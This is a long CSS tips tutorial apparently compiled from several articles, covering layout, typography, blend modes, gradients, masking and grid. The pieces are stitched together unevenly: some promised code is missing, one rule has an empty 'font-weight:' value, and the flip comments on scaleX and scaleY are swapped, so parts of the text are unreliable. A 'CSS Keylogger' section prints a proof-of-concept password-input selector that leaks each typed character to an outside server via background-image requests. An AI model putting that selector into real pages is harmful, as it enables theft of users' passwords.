CSS Master
CSS Master
While it's a
language that we sometimes take for granted, it's powerful and has many nuances that
can help (or hurt) our designs. Here are 30 of the best CSS practices that will keep you
writing solid CSS and avoiding some costly mistakes.
The readability of your CSS is incredibly important, though most people overlook why it's
important. Be sure to format your CSS in an organized and clean way. Great readability
of your CSS makes it much easier to maintain in the future, as you'll be able to find
elements quicker. Also, you'll never know who might need to look at your code later on.
So remember to always go for polished CSS structure.
Along the lines of keeping your code readable is making sure that the format of your CSS
is consistent. You should start to develop your own "sub-language" of CSS that allows you
to quickly name things. I always create CSS classes in every theme, and I use the same
name each time. For example, I use .caption-right to float images which contain a caption
to the right.
Think about things like whether or not you'll use underscores or dashes in your IDs and
class names, and in what cases you'll use them. When you start creating your own
standards for CSS, you'll become much more proficient.
Some design purists scoff at the thought of using a CSS framework with each design, but
I believe that if someone else has taken the time to maintain a tool that speeds up
production, why reinvent the wheel? I know frameworks shouldn't be used in every
instance, but most of the time they can help.
Many designers have their own framework that they have created over time, and that's a
great idea too. It helps keep consistency within the projects.
At the same time, I would also like to say that you should use frameworks only if you
already know a good deal of CSS. There will almost certainly come a time when you will
have to create a certain aspect of some layout all by yourself, and your deep
understanding of CSS will help you get things done.
4. Use a Reset
Most CSS frameworks have a reset built in, but if you're not going to use one, then at
least consider using a reset. Resets essentially eliminate browser inconsistencies such as
heights, font sizes, margins, and headings. The reset allows your format in CSS to look
consistent in all browsers. The MeyerWeb is a classic reset. Normalize.css is another very
popular reset.
This is one of the most basic CSS practices. Lay your stylesheet out in a way that allows
you to quickly find parts of your code. I recommend a CSS top-down format that tackles
styles as they appear in the source code. Here's a basic CSS code and an example
stylesheet with a good CSS structure
#header
#nav-menu
#main-content
6. Combine Elements
We could add unique characteristics to each of these header styles if we wanted (i.e. h1
{size: 2.1em}) later in the stylesheet.
Many designers create their CSS at the same time they create the HTML. It seems logical
to create both at the same time, but actually you'll save even more time if you create
the entire HTML mockup first. The reasoning behind this method is that you know all the
elements of your site layout, but you don't know what CSS you'll need with your design.
Creating the HTML layout first allows you to visualize the entire page as a whole, and
allows you to think of your CSS in a more holistic, top-down manner.
Sometimes it's beneficial to add multiple classes to an element. Let's say that you have
a div "box" that you want to float right, and you've already created a CSS class .right in
your CSS that floats everything to the right. You can simply create a CSS class in the
declaration, like so:
You can create all the CSS classes you'd like (space separated) to any declaration.
This is one of those situations where you have to take individual cases into account. While
it is helpful to create CSS class names that provide some hint of how they affect the
layout, you should also avoid using class names that require you to constantly switch
between HTML and CSS.
Be very careful when using ids and class-names like "left" and "right." I will use them, but
only for things such as examples in blog posts. How come? Let's imagine that, down the
road, you decide that you'd rather see the box floated to the left. In this case, you'd have
to return to your HTML and change the class name—all in order to adjust
the presentation of the page. This is unsemantic. Remember: HTML is for markup and
content. CSS is for presentation.
If you must return to your HTML to change the presentation (or styling) of the page,
you're doing it wrong!
The doctype declaration greatly affects whether or not your markup and CSS will
validate. In fact, the entire look and feel of your site can change greatly depending on the
doctype that you declare.
You can shrink your code considerably by using shorthand when crafting your CSS. For
elements like padding, margin, font, and some others, you can combine styles in one line.
For example, a div might have these styles: margin: 8px 7px 0px 5px; // top, right,
bottom, and left values, respectively.
Another of our CSS best practices is to comment your CSS. Just like any other language,
it's a great idea to comment your code in sections. To add a comment, simply
add /* behind the comment, and */ to close it. Here's a basic CSS code as an example:
Block elements are elements that naturally clear each line after they're declared,
spanning the whole width of the available space. Inline elements take only as much space
as they need, and don't force a new line after they're used.
Here are the lists of elements that are typically inline: span, a, strong, em, img, br, input,
abbr, acronym
And the block elements: div, h1...h6, p, ul, li, table, blockquote, pre, form
While this is more of a frivolous tip, it can come in handy for quick scanning. Here's an
example of a basic CSS code:
#cotton-candy {
color: #fff;
float: left;
font-weight:
height: 200px;
margin: 0;
padding: 0;
width: 150px;
}
This is a bit controversial because you have to sacrifice speed for slightly improved
readability. However, you should not hesitate in trying it out if you think it will help you.
CSS compressors help shrink CSS file size by removing line breaks, white spaces, and
combining elements. This combination can greatly reduce the file size, which speeds up
browser loading. CSS Minifier and HTML Compressor are two excellent online tools that
can shrink CSS. It should be noted that shrinking your CSS can provide gains in
performance, but you lose some of the readability of your CSS.
You'll find that there are certain styles that you're applying over and over. Instead of
adding that particular style to each ID, you can create generic classes and add them to
the IDs or other CSS classes (using tip #8).
For example, I find myself using float:right and float:left over and over in my designs. So I
simply add the classes .left and .right to my stylesheet, and reference it in the elements.
Check this basic CSS code for an example:
.left {float:left}
.right {float:right}
<div id="coolbox" class="left">...</div>
This way, you don't have to constantly add float:left to all the elements that need to be
floated.
Many beginners to CSS can't figure out why you can't simply use float: center to achieve
that centered effect on block-level elements. If only it were that easy! Unfortunately,
you'll need to use this method to center a div, paragraphs, or other elements in your
layout:
By declaring that both the left and the right margins of an element must be identical, the
browsers have no choice but to center the element within its containing element.
When starting out, there's a temptation to wrap a div with an ID or class around an
element and create a style for it.
<h1>Header Text</h1>
Then you can easily add a style to the h1 instead of a parent div.
Modern web browsers come bundled with some vital tools that are must-haves for any
web developer. These developer tools are now part of all the major browsers, including
Chrome, Firefox, Safari, and Edge. Among the many features that come bundled with the
Chrome and Firefox developer tools (like debugging JavaScript, inspecting HTML, and
viewing errors), you can also visually inspect, modify, and edit CSS in real time.
Absolute positioning is a handy aspect of CSS that allows you to define where exactly an
element should be positioned on a page to the exact pixel. However, because of absolute
positioning's disregard for other elements on the page, the layouts can get quite hairy if
there are multiple absolutely positioned elements running around the layout.
text-transform is a highly useful CSS property that allows you to "standardize" how text is
formatted on your site. For example, say you want to create some headers that only have
lowercase letters. Just add the text-transform property to the header style like so:
text-transform: lowercase;
Now all of the letters in the header will be lowercase by default. text-transform allows
you to modify your text (first letter capitalized, all letters capitalized, or all lowercase)
with a simple property.
Often, people will use an image for their header text and then either use display:none or
a negative margin to float the h1 off the page. Matt Cutts, then head of Google's
Webspam team, has officially said that this is a bad idea, as Google might think it's spam.
As Cutts explicitly says, avoid hiding your logo's text with CSS. Just use the alt tag. While
many claim that you can still use CSS to hide a h1 tag as long as the h1 is the same as
the logo text, I prefer to err on the safe side.
There's always been a strong debate as to whether it's better to use pixels (px) or ems
and rems when defining font sizes. Pixels are a more static way to define font sizes, and
ems are more scalable with different browser sizes and mobile devices. With the advent
of many different types of web browsing (laptop, mobile, etc.), ems and rems are
increasingly becoming the default for font size measurements as they allow the greatest
form of flexibility.
Lists are a great way to present data in a structured format whose style is easy to modify.
Thanks to the display property, you don't have to just use the list as a text attribute. Lists
are also great for creating navigation menus and things of the sort.
Many beginners use divs to make each element in the list because they don't understand
how to properly use lists. It's well worth the effort to use brush up on learning list
elements to structure data in the future.
It's easy to unknowingly add extra selectors to our CSS that clutters the stylesheet. One
common example of adding extra selectors is with lists. Check this basic CSS code:
In this instance, just the .someclass li would have worked just fine.
.someclass li {...}
Adding extra selectors won't bring Armageddon or anything of the sort, but they do keep
your CSS from being as simple and clean as possible.
Modern browsers are fairly uniform in the way they render elements, but legacy
browsers tend to render elements differently. For example, Internet Explorer renders
certain elements differently than Firefox or Chrome, and different versions of Internet
Explorer render differently from one another.
One of the main differences between versions of older browsers is how padding and
margins are rendered. If you're not already using a reset, you might want to define the
margin and padding for all elements on the page, to be on the safe side. You can do this
quickly with a global reset, like so: * {margin:0;padding:0;}
Now all elements have a padding and margin of 0, unless defined by another style in the
stylesheet.
Depending on the complexity of the design and the size of the site, it's sometimes easier
to make smaller, multiple stylesheets instead of one giant stylesheet. Aside from being
easier for the designer to manage, multiple stylesheets allow you to leave out CSS on
certain pages that don't need them.
For example, I might having a polling program that would have a unique set of styles.
Instead of including the poll styles to the main stylesheet, I could just create
a poll.css and the stylesheet only to the pages that show the poll.
However, be sure to consider the number of HTTP requests that are being made. Many
designers prefer to develop with multiple stylesheets, and then combine them into one
file. This reduces the number of HTTP requests to one. Also, the entire file will be cached
on the user's computer. Following these CSS best practices will help you in the future.
If you're noticing that your design looks a tad wonky, there's a good chance it's because
you've left off a closing </div>. You can use the XHTML validator to help sniff out all
sorts of errors like this.
In the past, it was very common and necessary to use floats to create any kind of layout.
Unfortunately, floats come with a lot of problems. You can instead start using the much
more powerful layout modules called flexbox and grid layout. Flexbox will help you create
one-dimensional layouts, and grid will help you with two-dimensional layouts.
The keyword !important is used to bypass any styling rules specified elsewhere for an
element. This allows you to use less specific selectors to change the appearance of an
element. As a beginner, this might seem like an easy way to style elements without
worrying about what selectors you should be using. However, you should avoid that
because using !important with a lot of elements will ultimately result in !important losing
its meaning, as every CSS rule will now bypass the selector specificity.
One possible use for !important is to specify the style of third-party elements added to a
webpage where you cannot alter the original stylesheet, its loading order, etc.
accent-color
<form>
<input type="radio" id="html" />
<label for="html">HTML</label>
<input type="radio" id="css" />
<label for="css">CSS</label>
<input type="radio" id="js" />
<label for="js">JavaScript</label>
</form>
CSS:
input {
accent-color: green;
}
backdrop-filter
Sometimes you may want to apply a filter effect (blur effect) to the area behind an
element. For this, you can use the backdrop-filter property.
<div class="container">
<div class="box">
<p>This is an example of backdrop-filter property.</p>
</div>
</div>
CSS:
.container {
display: flex;
align-items: center;
justify-content: center;
height: 350px;
width: 350px;
background: url(img.webp) no-repeat center;
}
.box {
padding: 10px;
font-weight: bold;
color: white;
background-color: transparent;
backdrop-filter: blur(10px);
}
caret-color
When you work with input or textarea elements, then you can change the color of the text
cursor of these elements, to match your web page color scheme, using the caret-
color property.
CSS:
input {
caret-color: red;
}
image-rendering
You can use the image-rendering property to control the rendering of scaled images and
optimize quality. Keep in mind that this property does not affect images that are not
scaled.
img {
image-rendering: pixelated; /* Other values: auto, smooth, high-quality,
crisp-edges, pixelated, initial, inherit */
}
inset
While working with positions, you can use the inset property instead of using top, right,
bottom, left properties.
div {
position: absolute;
top: 20px;
right: 25px;
left: 16px;
bottom: 23px;
}
If you want to set the blending of an element’s content with its background, then you can
use the mix-blend-mode property.
<div>
<img src="cat.jpg" alt="cat" />
</div>
CSS:
div {
width: 600px;
height: 400px;
background-color: rgb(255, 187, 0);
}
img {
width: 300px;
height: 300px;
mix-blend-mode: luminosity;
}
This property has the following values: normal, multiply, screen, overlay, darken, lighten,
color-dodge, color-burn, difference, exclusion, hue, saturation, color, luminosity.
object-fit
You can set the resizing behavior of an image or video to fit it in its container using
the object-fit property.
<div>
<img src="cat.jpg" alt="cat" />
</div>
CSS:
div {
width: 500px;
height: 400px;
border: 3px solid purple;
}
img {
width: 500px;
height: 300px;
object-fit: cover;
/* Other values: fill, contain, cover, scale-down, none, initial, inherit */
}
object-position
The object-position property is used with object-fit property to specify how an image or
video should be positioned with x/y coordinates inside its content box.
<div>
<img src="cat.jpg" alt="cat" />
</div>
CSS:
div {
width: 500px;
height: 400px;
border: 3px solid purple;
}
img {
width: 500px;
height: 300px;
object-fit: cover;
object-position: bottom right;
}
To put it simply, here I’ve specified the object-position: bottom right; that means it will
show the bottom right part of the image while resizing the image.
outline-offset
You can use the outline-offset property to specify the space between an outline and the
border of an element.
<div></div>
CSS:
div {
width: 300px;
height: 300px;
border: 3px solid purple;
outline: 3px solid rgb(81, 131, 148);
outline-offset: 10px;
}
pointer-events
You can control the reaction of an element to pointer events using the pointer-
events property.
<div>
<p class="first">
Please <a href="https://shefali.dev/blog">Click here</a>
</p>
<p class="second">
Please <a href="https://shefali.dev/blog">Click here</a>
</p>
</div>
CSS:
.first {
pointer-events: none; /*here all the pointer events will be set to none.
So the user can't click on the link.*/
}
.second {
pointer-events: auto;
}
scroll-behavior
You can use the scroll-behavior property to achieve smooth scrolling without using any
JavaScript with just a single line of CSS.
html {
scroll-behavior: smooth;
}
text-justify
You can use the text-justify property to set the justification method for text when you set
the value of text-align to justify.
p {
text-align: justify;
text-justify: inter-character;
/*Other values: auto, inter-word, inter-character, none, initial,
inherit*/
}
Here, I’ve set the value to inter-character so it will increase or decrease the space
between characters when you resize the window. You can try other values as well.
text-overflow
Sometimes your text is too large to fit in its container. In this case, to control the
behavior of the text, you can use the text-overflow property.
<div>
<p>This is an example of text-overflow.</p>
</div>
CSS:
div {
width: 100px;
height: 40px;
border: 3px solid purple;
}
p {
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
}
user-select
The user-select property can be used to control the user’s ability to select the text.
<div>
<p>You can't select this text.</p>
</div>
<p>You can select this text.</p>
CSS:
div {
width: max-content;
height: 40px;
border: 3px solid purple;
user-select: none;
}
word-break
The word-break property is used to specify how words should break when reaching the
end of a line or on window resize.
p {
word-break: break-all;
/* Other values: normal, break-all, keep-all, break-word, initial, inherit
*/
}
CSS attr() function allows developers to retrieve values of HTML attributes within their
stylesheets. In the following example, I use attr() function to display the text content
of ::after pseudo-class of span HTML element using its data-value attribute.
This CSS property allows JS to easily change the value without directly manipulating the
text content of HTML elements. Take a look at this CodePen snippet to see the code in
action.
in CSS resize property allows users to dynamically adjust the width and height of an
element with resizable controls like textarea HTML element. you can enable resizing
horizontally, vertically or both.
.resize{
resize: both;
}
The CSS counter feature automatically generates and displays numerical values,
eliminating the need for explicit provides from the developer. for that, you need 3 CSS
properties counter-reset, counter-increment and counter() function
If you want to set a starting number for the counter, you can do it like this:
counter-reset: item-counter 5;
2. counter-increment — used to increment a current counter. by default, it increments
by 1
counter-increment: item-counter
If you want to increase the current counter by a certain number, you can do it like this.
counter-increment: item-counter 3;
This CodePen shows how to automatically add h1 elements to the div below, and CSS
automatically adds numbers in front of each h1 tag, eliminating the need for manual
developer input or the use of JS. This provides a much cleaner code.
<div class="container">
<h1>Toffees</h1>
</div>
For this, we can use mix-blend-mode CSS property. Using this we can set how the
content of an element should blend with its parent and background. In this case an img
element.
Here, you can see that I used two images: one is coloured, and the other is black, and
both have a white background. I’m going to remove the background of the images just
using CSS without using any image editing software.
To remove the white background from the coloured image, you can use the mix-blend-
mode CSS property with the value multiply. The colours from both layers blend by
multiplying their values, resulting in a darker and more blended appearance. This is
useful when removing the white background from a colour image, as the white parts
become transparent, showing the underlying background. although this makes the image
a bit darker.
.blend-multiply{
mix-blend-mode:multiply;
}
To remove the white background from the black image, you can use the mix-blend-mode
CSS property with the value color-burn. It applies a darkening effect by blending the
colours of an element with its background. This method enhances the darker areas,
producing a burnt or shadowy appearance. perfect to use in a case like this
.burn-color{
mix-blend-mode:color-burn;
}
After applying the CSS, the final result looks like this.
To add a shadow to an element, we typically use the CSS property box-shadow. This
property adds a shadow around the border of an element. If we add a box-shadow
property to a PNG image which has a transparent background it still shows a background
around the image which shows a square appearance.
img {
width: 250px;
box-shadow: 15px 15px 15px #555;
}
However, if we use the filter CSS property with the drop-shadow() CSS function instead
of box-shadow, we can add a shadow only to the actual image part in PNG without
including the transparent background.
img {
width: 250px;
filter: drop-shadow(15px 15px 15px #555)
}
You may already know how to truncate longer texts which exceed a certain width using
ellipses using text-overflow property like the following,
p {
width: 350px;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
}
However without restrict using the width property. you can also truncate the long text by
the number of lines of your liking. for that, you need the following CSS properties.
p {
display: -webkit-box;
-webkit-box-orient: vertical;
-webkit-line-clamp: 10; /* change line numbers */
overflow: hidden;
font-size: 1.5rem;
}
Gradient Text
You may already have seen gradient colours used in the background of many websites.
Well, it’s not just limited to backgrounds; you can also apply gradient colours to text as
well using the following CSS rules.
h1{
background: linear-gradient(100deg, blue, green);
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
font-size: 5rem;
}
To flip an image horizontally, simply use scaleX(-1) CSS property and use scaleY(-1) to
flip an image vertically.
To flip an image both horizontally and vertically at the same time use scale(-1)
In the example below, you can see the same image repeated four times. Starting from the
second image, images are flipped in various ways using CSS.
img:nth-of-type(2) {
transform: scaleX(-1); /* flip vertically */
}
img:nth-of-type(3) {
transform: scaleY(-1); /* flip horizontally */
}
img:nth-of-type(4) {
transform: scale(-1); /* flip in both vertically and horizontally */
}
And for a side note, you can rotate an image to any degree using the rotate() property in
CSS.
img {
transform: rotate(45deg);
}
You can dynamically make specific parts of text or design stand out by visually
distinguishing them from the background, like the following image.
You can see that the text has two different colours in two distinct parts depending on the
background colour. To make this effect, you can blend the colour of the text with the
surrounding background just using 1 CSS rule
h1{
mix-blend-mode: difference;
}
The difference blend mode subtracts the colour values of the content from the colour
values of the background, creating a striking visual effect. Elements with light colors
tend to stand out against dark backgrounds, and vice versa.
In the following CodePen, you can drag the white circle on the screen. When it goes
under the text, the text colour above the circle changes.
In the past, if you wanted text to appear from top to bottom, you had to rotate the text.
but now you can use CSS writing-mode property to specify whether your lines of text are
arranged horizontally or vertically.
.text1{
writing-mode:vertical-rl
}
Centering a text or element vertically has always been quite a pain for many front-end
developers. Introduced in the CSS3 specification, the display: flex property/value
provides an easy way to vertically align any element.
<div class="align-vertically">
I am vertically centered!
</div>
.align-vertically {
background: #13b5ea;
color: #fff;
display: flex;
align-items: center;
height: 200px;
}
SVG is supported by all modern browsers and scales well for all resolution types, so
there’s no reason to continue using .jpg or .gif images for logos or icons. The code below
represents the CSS code used to display a website logo:
#logo {
display: block; /* Ensures the logo is displayed as a block element */
text-indent: -9999px; /* Hides the text by indenting it beyond the visible
area */
width: 100px; /* Sets the width of the logo */
height: 82px; /* Sets the height of the logo */
background: url(logo.svg); /* Sets the logo image */
background-size: 100px 82px; /* Sets the size of the background image */
}
Note the use of the background-size property, which is used to scale the background
image to fit the container size.
The following CSS is used to create a gradient which is applied to the document’s body:
body{
background: linear-gradient(to right,#000,#0575e6);
text-align: center;
}
The linear-gradient() function creates a linear gradient and defines it as the background
image for body. The function takes 3 arguments: a direction or an angle, and 2 color
stops.
Using CSS gradients and WebKit specific properties, it is possible to apply the gradient to
a text:
h1{
font-family: Arial;
font-size: 50px;
background: -webkit-gradient(linear, left top, left bottom, from(#eee),
to(#333));
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
}
Broken images don’t look good on a website, but it can happen every now and then that
an image is missing from the server and can’t be displayed.
Using some advanced CSS, it is possible to style broken images and provide custom error
messages to your visitors.
img {
font-family: 'Helvetica';
font-weight: 300;
line-height: 2;
text-align: center;
width: 100%;
height: auto;
display: block;
position: relative;
}
img:before {
content: "We're sorry, the image below is broken :(";
display: block;
margin-bottom: 10px;
}
img:after {
content: "(url: " attr(src) ")";
display: block;
font-size: 12px;
}
This example makes use of the :before and :after pseudo-classes, which are used to
display error messages to the end user.
The attr() CSS function is used to return the value of the src property, thus displaying the
faulty url.
CSS Variables
A strong point of CSS preprocessors is the possibility of using variables to create re-
usable values and avoid code redundancy.
While tools like SASS are very useful for front-end web development, they aren’t required
for using variables, as this can be done in native CSS.
#div1 {
background-color: var(--main-bg-color);
color: var(--main-txt-color);
padding: var(--main-padding);
}
Variables are declared by giving them a name preceded by two dashes. In this example,
the main color, main background color, and base padding are declared.
vh is a little known unit that can be used in CSS. 1 vh represents 1% of the viewport
height, regardless of the screen size.
As 1 vh stands for 1% of the viewport height, the code above defines a container that will
take 100% of the vertical height of the screen.
Smart quotes are an integral part of beautiful typography and modern web design, as
they provide readability and better user experience.
q {
quotes: "“" "”";
}
Comma-Separated Lists
Bullet point lists are very widely used online, as they provide a great way to display
information in a clear and concise manner.
The following CSS snippet will add comas on every item of an unordered list, except for
the last one. This is achieved by using :not(:last-child) to ensure that a comma will be
applied to all items but the last one.
ul > li:not(:last-child)::after {
content: ",";
}
CSS Keylogger
This is totally scary and not something you should ever try except as a proof of concept.
Let’s have a look at the following code: Using CSS attribute selectors, it’s possible to
request resources from an external server under the premise of loading a background
image.
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
The code above will select all user inputs with a type that equals password and value that
ends with a.
It will then try to load an image from http://localhost:3000/a. Using this technique and
some JavaScript, it is possible to capture user input.
While taking care of the responsive design, you need to ensure the grid is responsive.
Responsive CSS grid is one of the best CSS tricks and tips that offer different ways of
creating a customizable grid, irrespective of the device. The most reliable thing is that
the CSS grid operates with equal or unequal column sizes.
<div class="grid">
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
<div class="grid-item"></div>
</div>
.grid {
display: grid;
grid-template-rows: repeat(4, 1fr);
grid-auto-columns: calc((100vh - 3em) / 4);
grid-auto-flow: column;
grid-gap: 1em;
height: 100vh;
}
.grid-item:nth-child(3n) {
background-color: green;
}
.grid-item:nth-child(3n + 2) {
background-color: yellow;
}
Masking
Let’s say you want to use an image but only want to show certain parts of it. You can
achieve this using the mask-image property. CSS masking is among the advanced CSS
tricks that allow you to define a mask shape applied to the image. Anything that appears
outside the mask shape is cut out, and the rest is presented. It works pretty much the
same as masking in Photoshop.
Anything 100% black in the image mask will be displayed entirely, whereas anything
100% transparent will be completely hidden, and anything in-between will be partially
masked in the image.
#masked{
-webkit-mask-image: linear-gradient(to bottom, transparent 5%, black 75%);
mask-image: linear-gradient(to bottom, transparent 5%, black 75%);
}
The left side is the image’s original image, and the right side is a masked image with a
linear-gradient.
#masked{
-webkit-mask-image: radial-gradient(ellipse 20% 90% at 27% 50%, black
40%, transparent 50%);
mask-image: radial-gradient(ellipse 20% 90% at 27% 50%, black 40%,
transparent 50%);
}
In the below image, the left side is the original image, and the right side is a masked
image with radial-gradient.
#masked{
-webkit-mask-image: url(https://images.png);
mask-image: url(https://images.png);
}
In the below example, a background image is used to mask an image in the selected
camera cutout shape.
Shape Outside
Shape-outside is a CSS trick that lets you change the shape of the items wrapped around
it instead of being restricted to a rectangular box.
The shape-outside property allows shaping the content to fit the image. It takes a basic
shape and applies a shape function to the item. This property works only for floated
elements.
Code:
<section class="shape-outside">
<div class="shape-outside__circle">
</div>
<h2>Shape Outside CSS Property</h2>
<p>
Morbi tincidunt lectus non feugiat tristique. In blandit ornare odio sit
amet cursus. In mollis dictum mollis. Suspendisse sed sagittis sem. Morbi
euismod ligula id purus ornare, id gravida augue vestibulum. Class aptent
taciti sociosqu ad litora torquent per conubia nostra, per inceptos
himenaeos. Praesent eu consectetur neque, a commodo arcu. Vivamus lorem
ante, pulvinar eu cursus nec, congue ut tellus. Mauris sit amet risus
auctor, dignissim ligula vel, commodo purus. Ut sapien nunc, dignissim eu
diam quis, tempor scelerisque leo.
</p>
</section>
body {
display: flex;
}
.shape-outside {
padding-right: 10px;
width: 50%;
}
.shape-outside__circle {
height: 150px;
width: 150px;
border-radius: 50%;
background-color: #DC143C;
margin: 25px 25px 5px 0;
float: left;
shape-outside: circle();
}
Output:
Initial Letter
Initial letter is a CSS trick that selects the first letter of the paragraph and mentions the
number of lines occupied by the letter. Usually, it is used to grab the attention of print
media and information sites, news sites, where the first letter of the paragraph is much
larger or higher than the rest of the content.
The initial-letter CSS property spontaneously adjusts the number of lines needed to
create the stylized drop and the font size.
< number >: refers to the number of lines the letter uses not to accept negative
values.
Normal: it is useful only if you want to reset the value if it could be inherited from the
cascade and no scaling effect is applied to the initial letter.
< integer >: determines how many lines should sink when the letter size is preset.
The values must be greater than zero; if the value is not specified; the size value is
duplicated and floored to the nearest positive whole number.
@import url('https://fonts.googleapis.com/css?family=Martel:200,600"
rel="stylesheet');
body {
font-family: 'Martel', serif;
font-size: $body-fontsize;
font-weight: 200;
line-height: 2;
margin: 2rem auto;
padding: 2rem;
&:before {
background: linear-gradient(90deg, hsl(105, 0%, 100%) 0%, hsl(45,
100%, 70%) 35%, hsl(45, 100%, 70%) 65%, hsl(105, 0%, 100%) 100%);
text-transform: none;
}
}
Background Repeat
CSS background is one of the most used advanced CSS tricks; however very rarely used
by developers. Using multiple backgrounds still needs to be well-known among all
developers.
Property Values:
Value Description
repeat The background image will be repeated both vertically and horizontally.
repeat-x The background image will be repeated horizontally only.
repeat-y The background image will be repeated vertically only.
space The background image will be repeated as many times as it will fit, but it is
not clipped.
round The background image will stretch or shrink to avoid clipping and to remove
gaps.
no- The background image will not be repeated.
repeat
initial Set this property to its default value.
CSS Example:
body {
background-image: url("images.png");
background-repeat: repeat;
}
Code:
<!DOCTYPE html>
<html lang="en-US">
<head>
<title>background-repeat property</title>
<link href="repeatCase.css" rel="stylesheet">
</head>
<body>
<h2>background-repeat: repeat; </h2>
<div id="repeat"></div>
<h2>background-repeat: repeat-x;</h2>
<div id="repeat-x"></div>
<h2>background-repeat: repeat-y;</h2>
<div id="repeat-y"></div>
<h2>background-repeat: space;</h2>
<div id="space"></div>
<h2>background-repeat: round;</h2>
<div id="round"></div>
<h2>background-repeat: no-repeat;</h2>
<div id="no-repeat"></div>
<h2>background-repeat: initial;</h2>
<div id=""></div>
</body>
</html>
<div class="module-border-wrap">
<div class="module">
Lorem ipsum dolor sit amet consectetur adipisicing elit. Vero pariatur
corporis quaerat voluptatum eos tempora temporibus nisi voluptates sed,
exercitationem sequi dolore culpa incidunt accusamus, quasi unde
reprehenderit ea molestias.
</div>
</div>
SCSS:
body {
height: 100vh;
margin: 0;
display: grid;
place-items: center;
background: #222;
}
.module-border-wrap {
max-width: 250px;
padding: 1rem;
position: relative;
background: linear-gradient(to right, red, purple);
padding: 3px;
}
.module {
background: #222;
color: white;
padding: 2rem;
}
border-image-source
The border-image-source CSS property creates borders around elements using an image
file or CSS gradient as the source.
.container {
border-width: 2rem;
border-style: dotted;
border-color: grey;
border-image-source: url('path/to/image.jpg');
border-image-repeat: repeat;
border-image-slice: 100;
}
border-image-source: Specifies the image file or gradient used for the border.
border-image-repeat: Specifies whether to repeat the image when drawing the border
or to display it once.
border-image-slice: Splits the border image into regions used for spacing and sizing
the image.
Parallax scrolling
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1" />
<style>
.parallax {
/* The image used */
background-image: url("img_parallax.jpg");
While scrolling through the page, you would have understood what parallax scrolling is
all about. It creates a beautiful illusion in our eyes of moving backgrounds. You can make
changes using the transform property.
Clip Path
The clip-path property helps us decide which part of the image or element shows. It
shows the required portion and hides the rest.
<!DOCTYPE html>
<html>
<head>
<style>
img {
background-color: blue;
clip-path: polygon(50% 0, 100% 50%, 50% 100%, 0 50%);
}
.img2 {
background-color: #92f1f3;
clip-path: circle(40%);
}
</style>
</head>
<body>
<h2>The clip-path property</h2>
The frosted glass effect creates a blur and brightening effect behind the content. We can
achieve this using the backdrop-filter CSS property. Let's see how it works.
<!DOCTYPE html>
<html>
<head>
<style>
.box {
background-color: rgba(255, 255, 255, 0.3);
border-radius: 5px;
font-family: sans-serif;
text-align: center;
line-height: 1;
-webkit-backdrop-filter: blur(10px);
backdrop-filter: blur(10px);
max-width: 50%;
max-height: 50%;
padding: 20px 40px;
}
html,
body {
height: 100%;
width: 100%;
}
body {
background-image: url(https://picsum.photos/id/1080/6858/4574),
linear-gradient(rgb(219, 166, 166), rgb(0, 0, 172));
background-position: center center;
background-repeat: no-repeat;
background-size: cover;
}
.container {
align-items: center;
display: flex;
justify-content: center;
height: 100%;
width: 100%;
}
</style>
</head>
<body>
<div class="container">
<div class="box">
<p>backdrop-filter: blur(10px)</p>
</div>
</div>
</body>
</html>
Units
First, a refresher on units. CSS features many different units that can be used to describe
design parameters. While not necessarily magical in their own right– certain units can be
used to create relative dependencies among design elements.
Basic CSS units are those that describe absolute lengths. These are units of exact
measurement and will not change even on different devices
millimeters (mm)
centimeters (cm)
inches (in)
pixels (px)
While these are handy for being precise and deliberate in your measurements of layouts
and web page elements, we need something with a little more flexibility. We can turn
to relative lengths to rectify this. Relative lengths rely on percentages or fractions of
other values in order to scale certain elements appropriately. Some of these lengths are:
The viewport is the dimension of the screen that the webpage is being displayed on.
CSS3 makes it easy to apply different styles to an element regardless of whether a data-
* attribute is empty. Have a look at the HTML code below:
<div data-attr="">
</div>
<div data-attr="value">
</div>
And now, our CSS, with specific styling for any div element with an empty data-
attr attribute:
div {
border: 1px solid gray;
height: 100px;
margin: 10px;
width: 100px;
}
Text Stroke
A quick and easy way to make a stunning text effect. This attribute could be used to give
the text an outline. The shorthand property for -webkit-text-stroke-width and -webkit-text-
stroke-color is -webkit-text-stroke:
.custom-headline {
color: transparent;
-webkit-text-stroke: 1px #04D939;
}
Line Clamp
This trick can be used to reduce text that spans many lines. You need also to set
overflow: hidden.
.custom-button {
display: -webkit-box;
-webkit-line-clamp: 2;
-webkit-box-orient: vertical;
overflow: hidden;
}
A fixed form—fitting, especially for very high tables, can be very useful for reading the
table.
.custom-table {
thead tr {
position: sticky;
top: 0;
}
}
Place Items
This is the shortcut property for the grid and flexbox align-items and justify-items.
.custom-wrapper {
display: grid;
grid-template-columns: 1fr 1fr;
place-items: center center;
}
Placeholder Shown
Do you need to highlight your <input> or <textarea> elements if they are not filled in
yet? Then you can use placeholder-shown.
input:placeholder-shown {
border-bottom: 2px solid #04D939;
}
Column Count
.wrapper {
column-count: 2;
}
::selection
Do you know that you can change the styles of the text highlighted by the user? Using
pseudo-class ::selection you can change styles to whatever you want and make your
website more customized, consistent - and simply cool!
all
The all property resets every other property (apart from unicode-bidi and direction)
properties to their initial or inherited state. It accepts these values:
initial: changes all the properties of the element or the element’s parent their initial
value
inherit: changes all the properties of the element or the element’s parent to their parent
value
